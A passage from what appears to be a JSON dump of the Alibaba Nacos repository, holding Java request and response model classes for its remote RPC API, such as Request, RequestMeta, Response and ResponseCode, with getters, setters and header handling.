    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ConnectResetRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport static com.alibaba.nacos.api.common.Constants.Remote.INTERNAL_MODULE;\n\n/**\n * ConnectResetRequest.\n *\n * @author liuzunfei\n * @version $Id: ConnectResetRequest.java, v 0.1 2020年07月15日 11:11 AM liuzunfei Exp $\n */\npublic class ConnectResetRequest extends ServerRequest {\n    \n    String serverIp;\n    \n    String serverPort;\n    \n    String connectionId;\n    \n    @Override\n    public String getModule() {\n        return INTERNAL_MODULE;\n    }\n    \n    /**\n     * Getter method for property <tt>connectionId</tt>.\n     *\n     * @return property value of connectionId\n     */\n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    /**\n     * Setter method for property <tt>connectionId</tt>.\n     *\n     * @param connectionId value to be assigned to property connectionId\n     */\n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n    \n    /**\n     * Getter method for property <tt>serverIp</tt>.\n     *\n     * @return property value of serverIp\n     */\n    public String getServerIp() {\n        return serverIp;\n    }\n    \n    /**\n     * Setter method for property <tt>serverIp</tt>.\n     *\n     * @param serverIp value to be assigned to property serverIp\n     */\n    public void setServerIp(String serverIp) {\n        this.serverIp = serverIp;\n    }\n    \n    /**\n     * Getter method for property <tt>serverPort</tt>.\n     *\n     * @return property value of serverPort\n     */\n    public String getServerPort() {\n        return serverPort;\n    }\n    \n    /**\n     * Setter method for property <tt>serverPort</tt>.\n     *\n     * @param serverPort value to be assigned to property serverPort\n     */\n    public void setServerPort(String serverPort) {\n        this.serverPort = serverPort;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ConnectionSetupRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport java.util.HashMap;\nimport java.util.Map;\n\n/**\n * request to setup a connection.\n *\n * @author liuzunfei\n * @version $Id: ConnectionSetupRequest.java, v 0.1 2020年08月06日 2:42 PM liuzunfei Exp $\n */\npublic class ConnectionSetupRequest extends InternalRequest {\n    \n    private String clientVersion;\n    \n    private String tenant;\n    \n    private Map<String, String> labels = new HashMap<>();\n    \n    private Map<String, Boolean> abilityTable;\n    \n    public ConnectionSetupRequest() {\n    }\n    \n    public String getClientVersion() {\n        return clientVersion;\n    }\n    \n    public void setClientVersion(String clientVersion) {\n        this.clientVersion = clientVersion;\n    }\n    \n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n    }\n    \n    public String getTenant() {\n        return tenant;\n    }\n    \n    public void setTenant(String tenant) {\n        this.tenant = tenant;\n    }\n    \n    public Map<String, Boolean> getAbilityTable() {\n        return abilityTable;\n    }\n    \n    public void setAbilityTable(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/HealthCheckRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * request to check server if unimpeded.\n *\n * @author liuzunfei\n * @version $Id: ServerCheckRequest.java, v 0.1 2020年07月22日 8:32 PM liuzunfei Exp $\n */\npublic class HealthCheckRequest extends InternalRequest {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/InternalRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport static com.alibaba.nacos.api.common.Constants.Remote.INTERNAL_MODULE;\n\n/**\n * internal request .\n *\n * @author liuzunfei\n * @version $Id: InternalRequest.java, v 0.1 2020年07月22日 8:33 PM liuzunfei Exp $\n */\npublic abstract class InternalRequest extends Request {\n    \n    @Override\n    public String getModule() {\n        return INTERNAL_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/PushAckRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * push ack request.\n *\n * @author liuzunfei\n * @version $Id: PushAckRequest.java, v 0.1 2020年07月29日 8:25 PM liuzunfei Exp $\n */\npublic class PushAckRequest extends InternalRequest {\n    \n    private String requestId;\n    \n    private boolean success;\n    \n    private Exception exception;\n    \n    /**\n     * build push ack request.\n     *\n     * @param requestId requestId.\n     * @return request.\n     */\n    public static PushAckRequest build(String requestId, boolean success) {\n        PushAckRequest request = new PushAckRequest();\n        request.requestId = requestId;\n        request.success = success;\n        return request;\n    }\n    \n    /**\n     * Getter method for property <tt>requestId</tt>.\n     *\n     * @return property value of requestId\n     */\n    @Override\n    public String getRequestId() {\n        return requestId;\n    }\n    \n    /**\n     * Setter method for property <tt>requestId</tt>.\n     *\n     * @param requestId value to be assigned to property requestId\n     */\n    @Override\n    public void setRequestId(String requestId) {\n        this.requestId = requestId;\n    }\n    \n    /**\n     * Getter method for property <tt>success</tt>.\n     *\n     * @return property value of success\n     */\n    public boolean isSuccess() {\n        return success;\n    }\n    \n    /**\n     * Setter method for property <tt>success</tt>.\n     *\n     * @param success value to be assigned to property success\n     */\n    public void setSuccess(boolean success) {\n        this.success = success;\n    }\n    \n    /**\n     * Setter method for property <tt>exception</tt>.\n     *\n     * @param exception value to be assigned to property exception\n     */\n    public void setException(Exception exception) {\n        this.exception = exception;\n    }\n    \n    /**\n     * Getter method for property <tt>exception</tt>.\n     *\n     * @return property value of exception\n     */\n    public Exception getException() {\n        return exception;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/Request.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.alibaba.nacos.api.remote.Payload;\nimport java.util.Map;\nimport java.util.TreeMap;\n\n/**\n * Request.\n *\n * @author liuzunfei\n */\npublic abstract class Request implements Payload {\n    \n    private final Map<String, String> headers = new TreeMap<>(String.CASE_INSENSITIVE_ORDER);\n    \n    private String requestId;\n    \n    /**\n     * put header.\n     *\n     * @param key   key of value.\n     * @param value value.\n     */\n    public void putHeader(String key, String value) {\n        headers.put(key, value);\n    }\n    \n    /**\n     * put headers .\n     *\n     * @param headers headers to put.\n     */\n    public void putAllHeader(Map<String, String> headers) {\n        if (headers == null || headers.isEmpty()) {\n            return;\n        }\n        this.headers.putAll(headers);\n    }\n    \n    /**\n     * get a header value .\n     *\n     * @param key key of value.\n     * @return return value of key. return null if not exist.\n     */\n    public String getHeader(String key) {\n        return headers.get(key);\n    }\n    \n    /**\n     * get a header value of default value.\n     *\n     * @param key          key of value.\n     * @param defaultValue default value if key is not exist.\n     * @return return final value.\n     */\n    public String getHeader(String key, String defaultValue) {\n        String value = headers.get(key);\n        return (value == null) ? defaultValue : value;\n    }\n    \n    /**\n     * Getter method for property <tt>requestId</tt>.\n     *\n     * @return property value of requestId\n     */\n    public String getRequestId() {\n        return requestId;\n    }\n    \n    /**\n     * Setter method for property <tt>requestId</tt>.\n     *\n     * @param requestId value to be assigned to property requestId\n     */\n    public void setRequestId(String requestId) {\n        this.requestId = requestId;\n    }\n    \n    /**\n     * Getter method for property <tt>type</tt>.\n     *\n     * @return property value of type\n     */\n    public abstract String getModule();\n    \n    /**\n     * Getter method for property <tt>headers</tt>.\n     *\n     * @return property value of headers\n     */\n    public Map<String, String> getHeaders() {\n        return headers;\n    }\n    \n    public void clearHeaders() {\n        this.headers.clear();\n    }\n    \n    @Override\n    public String toString() {\n        return this.getClass().getSimpleName() + \"{\" + \"headers=\" + headers + \", requestId='\" + requestId + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/RequestMeta.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport com.alibaba.nacos.api.ability.constant.AbilityKey;\nimport com.alibaba.nacos.api.ability.constant.AbilityStatus;\nimport com.alibaba.nacos.api.common.Constants;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport java.util.Objects;\n\n/**\n * RequestMeta info.\n *\n * @author liuzunfei\n * @version $Id: RequestMeta.java, v 0.1 2020年07月14日 10:32 AM liuzunfei Exp $\n */\npublic class RequestMeta {\n    \n    private String connectionId = \"\";\n    \n    private String clientIp = \"\";\n    \n    private String clientVersion = \"\";\n    \n    private Map<String, String> labels = new HashMap<>();\n    \n    private Map<String, String> appLabels = new HashMap<>();\n    \n    private Map<String, Boolean> abilityTable;\n    \n    public AbilityStatus getConnectionAbility(AbilityKey abilityKey) {\n        if (abilityTable == null || !abilityTable.containsKey(abilityKey.getName())) {\n            return AbilityStatus.UNKNOWN;\n        }\n        return abilityTable.get(abilityKey.getName()) ? AbilityStatus.SUPPORTED : AbilityStatus.NOT_SUPPORTED;\n    }\n    \n    /**\n     * Setter method for property <tt>abilityTable</tt>.\n     *\n     * @param  abilityTable property value of clientVersion\n     */\n    public void setAbilityTable(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n    \n    /**\n     * Getter method for property <tt>clientVersion</tt>.\n     *\n     * @return property value of clientVersion\n     */\n    public String getClientVersion() {\n        return clientVersion;\n    }\n    \n    /**\n     * Setter method for property <tt>clientVersion</tt>.\n     *\n     * @param clientVersion value to be assigned to property clientVersion\n     */\n    public void setClientVersion(String clientVersion) {\n        this.clientVersion = clientVersion;\n    }\n    \n    /**\n     * Getter method for property <tt>labels</tt>.\n     *\n     * @return property value of labels\n     */\n    public Map<String, String> getLabels() {\n        return labels;\n    }\n    \n    /**\n     * Setter method for property <tt>labels</tt>.\n     *\n     * @param labels value to be assigned to property labels\n     */\n    public void setLabels(Map<String, String> labels) {\n        this.labels = labels;\n        extractAppLabels();\n    }\n    \n    private void extractAppLabels() {\n        HashMap<String, String> applabelsMap = new HashMap<String, String>(8) {\n            {\n                put(Constants.APPNAME, labels.get(Constants.APPNAME));\n                put(Constants.CLIENT_VERSION_KEY, clientVersion);\n                put(Constants.CLIENT_IP, clientIp);\n            }\n        };\n        labels.entrySet().stream().filter(Objects::nonNull).filter(e -> e.getKey().startsWith(Constants.APP_CONN_PREFIX)\n                        && e.getKey().length() > Constants.APP_CONN_PREFIX.length() && !e.getValue().trim().isEmpty())\n                .forEach(entry -> {\n                    applabelsMap.putIfAbsent(entry.getKey().substring(Constants.APP_CONN_PREFIX.length()),\n                            entry.getValue());\n                });\n        this.appLabels = applabelsMap;\n    }\n    \n    /**\n     * get labels map with filter of starting with prefix #{@link Constants#APP_CONN_PREFIX} and return a new map trim\n     * the prefix #{@link Constants#APP_CONN_PREFIX}.\n     *\n     * @return map of labels.\n     * @date 2024/2/29\n     */\n    public Map<String, String> getAppLabels() {\n        return appLabels;\n    }\n    \n    /**\n     * Getter method for property <tt>connectionId</tt>.\n     *\n     * @return property value of connectionId\n     */\n    public String getConnectionId() {\n        return connectionId;\n    }\n    \n    /**\n     * Setter method for property <tt>connectionId</tt>.\n     *\n     * @param connectionId value to be assigned to property connectionId\n     */\n    public void setConnectionId(String connectionId) {\n        this.connectionId = connectionId;\n    }\n    \n    /**\n     * Getter method for property <tt>clientIp</tt>.\n     *\n     * @return property value of clientIp\n     */\n    public String getClientIp() {\n        return clientIp;\n    }\n    \n    /**\n     * Setter method for property <tt>clientIp</tt>.\n     *\n     * @param clientIp value to be assigned to property clientIp\n     */\n    public void setClientIp(String clientIp) {\n        this.clientIp = clientIp;\n    }\n    \n    @Override\n    public String toString() {\n        return \"RequestMeta{\" + \"connectionId='\" + connectionId + '\\'' + \", clientIp='\" + clientIp + '\\''\n                + \", clientVersion='\" + clientVersion + '\\'' + \", labels=\" + labels + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ServerCheckRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * request to check server if unimpeded.\n *\n * @author liuzunfei\n * @version $Id: ServerCheckRequest.java, v 0.1 2020年07月22日 8:32 PM liuzunfei Exp $\n */\npublic class ServerCheckRequest extends InternalRequest {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ServerLoaderInfoRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * get server node loader info.\n * @author liuzunfei\n * @version $Id: ServerLoaderInfoRequest.java, v 0.1 2020年09月03日 2:45 PM liuzunfei Exp $\n */\npublic class ServerLoaderInfoRequest extends InternalRequest {\n    \n    public ServerLoaderInfoRequest() {\n    }\n}"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ServerReloadRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * reload long connection request.\n *\n * @author liuzunfei\n * @version $Id: ServerReloadRequest.java, v 0.1 2020年11月09日 4:35 PM liuzunfei Exp $\n */\npublic class ServerReloadRequest extends InternalRequest {\n    \n    int reloadCount = 0;\n    \n    String reloadServer;\n    \n    /**\n     * Getter method for property <tt>reloadCount</tt>.\n     *\n     * @return property value of reloadCount\n     */\n    public int getReloadCount() {\n        return reloadCount;\n    }\n    \n    /**\n     * Setter method for property <tt>reloadCount</tt>.\n     *\n     * @param reloadCount value to be assigned to property reloadCount\n     */\n    public void setReloadCount(int reloadCount) {\n        this.reloadCount = reloadCount;\n    }\n    \n    public String getReloadServer() {\n        return reloadServer;\n    }\n    \n    public void setReloadServer(String reloadServer) {\n        this.reloadServer = reloadServer;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/ServerRequest.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\n/**\n * ServerPushResponse.\n *\n * @author liuzunfei\n * @version $Id: ServerPushResponse.java, v 0.1 2020年07月20日 1:21 PM liuzunfei Exp $\n */\npublic abstract class ServerRequest extends Request {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/request/SetupAckRequest.java",
    "content": "/*\n * Copyright 1999-2022 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.request;\n\nimport java.util.Map;\n\nimport static com.alibaba.nacos.api.common.Constants.Remote.INTERNAL_MODULE;\n\n/**\n * Server tells the client that the connection is established.\n *\n * @author Daydreamer.\n * @date 2022/7/12 19:21\n **/\npublic class SetupAckRequest extends ServerRequest {\n    \n    private Map<String, Boolean> abilityTable;\n    \n    public SetupAckRequest() {\n    }\n    \n    public SetupAckRequest(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n    \n    public Map<String, Boolean> getAbilityTable() {\n        return abilityTable;\n    }\n    \n    public void setAbilityTable(Map<String, Boolean> abilityTable) {\n        this.abilityTable = abilityTable;\n    }\n    \n    @Override\n    public String getModule() {\n        return INTERNAL_MODULE;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ClientDetectionResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * response of client active detection check.\n *\n * @author liuzunfei\n * @version $Id: ServerCheckResponse.java, v 0.1 2021年01月20日 10:37 PM liuzunfei Exp $\n */\npublic class ClientDetectionResponse extends Response {\n\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ConnectResetResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * connection reset response.\n *\n * @author liuzunfei\n * @version $Id: ConnectResetResponse.java, v 0.1 2020年09月01日 2:43 PM liuzunfei Exp $\n */\npublic class ConnectResetResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ErrorResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.runtime.NacosRuntimeException;\n\n/**\n * UnKnowResponse.\n *\n * @author liuzunfei\n * @version $Id: UnKnowResponse.java, v 0.1 2020年07月16日 9:47 PM liuzunfei Exp $\n */\npublic class ErrorResponse extends Response {\n    \n    /**\n     * build an error response.\n     *\n     * @param errorCode errorCode\n     * @param msg msg\n     * @return response\n     */\n    public static Response build(int errorCode, String msg) {\n        ErrorResponse response = new ErrorResponse();\n        response.setErrorInfo(errorCode, msg);\n        return response;\n    }\n    \n    /**\n     * build an error response.\n     *\n     * @param exception exception\n     * @return response\n     */\n    public static Response build(Throwable exception) {\n        int errorCode;\n        if (exception instanceof NacosException) {\n            errorCode = ((NacosException) exception).getErrCode();\n        } else if (exception instanceof NacosRuntimeException) {\n            errorCode = ((NacosRuntimeException) exception).getErrCode();\n        } else {\n            errorCode = ResponseCode.FAIL.getCode();\n        }\n        ErrorResponse response = new ErrorResponse();\n        response.setErrorInfo(errorCode, exception.getMessage());\n        response.setResultCode(errorCode);\n        return response;\n    }\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/HealthCheckResponse.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * response of server check.\n *\n * @author liuzunfei\n * @version $Id: ServerCheckResponse.java, v 0.1 2020年07月22日 8:37 PM liuzunfei Exp $\n */\npublic class HealthCheckResponse extends Response {\n    \n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/Response.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\nimport com.alibaba.nacos.api.remote.Payload;\n\n/**\n * abstract response model via rpc channel.\n *\n * @author liuzunfei\n * @version $Id: Response.java, v 0.1 2020年07月13日 6:03 PM liuzunfei Exp $\n */\npublic abstract class Response implements Payload {\n    \n    int resultCode = ResponseCode.SUCCESS.getCode();\n    \n    int errorCode;\n    \n    String message;\n    \n    String requestId;\n    \n    /**\n     * Getter method for property <tt>requestId</tt>.\n     *\n     * @return property value of requestId\n     */\n    public String getRequestId() {\n        return requestId;\n    }\n    \n    /**\n     * Setter method for property <tt>requestId</tt>.\n     *\n     * @param requestId value to be assigned to property requestId\n     */\n    public void setRequestId(String requestId) {\n        this.requestId = requestId;\n    }\n    \n    /**\n     * Check Response  is Successed.\n     *\n     * @return success or not.\n     */\n    public boolean isSuccess() {\n        return this.resultCode == ResponseCode.SUCCESS.getCode();\n    }\n    \n    /**\n     * Getter method for property <tt>resultCode</tt>.\n     *\n     * @return property value of resultCode\n     */\n    public int getResultCode() {\n        return resultCode;\n    }\n    \n    /**\n     * Setter method for property <tt>resultCode</tt>.\n     *\n     * @param resultCode value to be assigned to property resultCode\n     */\n    public void setResultCode(int resultCode) {\n        this.resultCode = resultCode;\n    }\n    \n    /**\n     * Getter method for property <tt>message</tt>.\n     *\n     * @return property value of message\n     */\n    public String getMessage() {\n        return message;\n    }\n    \n    /**\n     * Setter method for property <tt>message</tt>.\n     *\n     * @param message value to be assigned to property message\n     */\n    public void setMessage(String message) {\n        this.message = message;\n    }\n    \n    /**\n     * Getter method for property <tt>errorCode</tt>.\n     *\n     * @return property value of errorCode\n     */\n    public int getErrorCode() {\n        return errorCode;\n    }\n    \n    /**\n     * Setter method for property <tt>errorCode</tt>.\n     *\n     * @param errorCode value to be assigned to property errorCode\n     */\n    public void setErrorCode(int errorCode) {\n        this.errorCode = errorCode;\n    }\n    \n    public void setErrorInfo(int errorCode, String errorMsg) {\n        this.resultCode = ResponseCode.FAIL.getCode();\n        this.errorCode = errorCode;\n        this.message = errorMsg;\n    }\n    \n    @Override\n    public String toString() {\n        return \"Response{\" + \"resultCode=\" + resultCode + \", errorCode=\" + errorCode + \", message='\" + message + '\\''\n                + \", requestId='\" + requestId + '\\'' + '}';\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ResponseCode.java",
    "content": "/*\n * Copyright 1999-2020 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.api.remote.response;\n\n/**\n * ResponseCode.\n *\n * @author liuzunfei\n * @version $Id: ResponseCode.java, v 0.1 2020年07月14日 2:04 PM liuzunfei Exp $\n */\npublic enum ResponseCode {\n    \n    /**\n     * Request success.\n     */\n    SUCCESS(200, \"Response ok\"),\n    \n    /**\n     * Request failed.\n     */\n    FAIL(500, \"Response fail\");\n    \n    int code;\n    \n    String desc;\n    \n    ResponseCode(int code, String desc) {\n        this.code = code;\n        this.desc = desc;\n    }\n    \n    /**\n     * Getter method for property <tt>code</tt>.\n     *\n     * @return property value of code\n     */\n    public int getCode() {\n        return code;\n    }\n    \n    /**\n     * Getter method for property <tt>desc</tt>.\n     *\n     * @return property value of desc\n     */\n    public String getDesc() {\n        return desc;\n    }\n}\n"
  },
  {
    "path": "api/src/main/java/com/alibaba/nacos/api/remote/response/ServerCheckResponse.java",
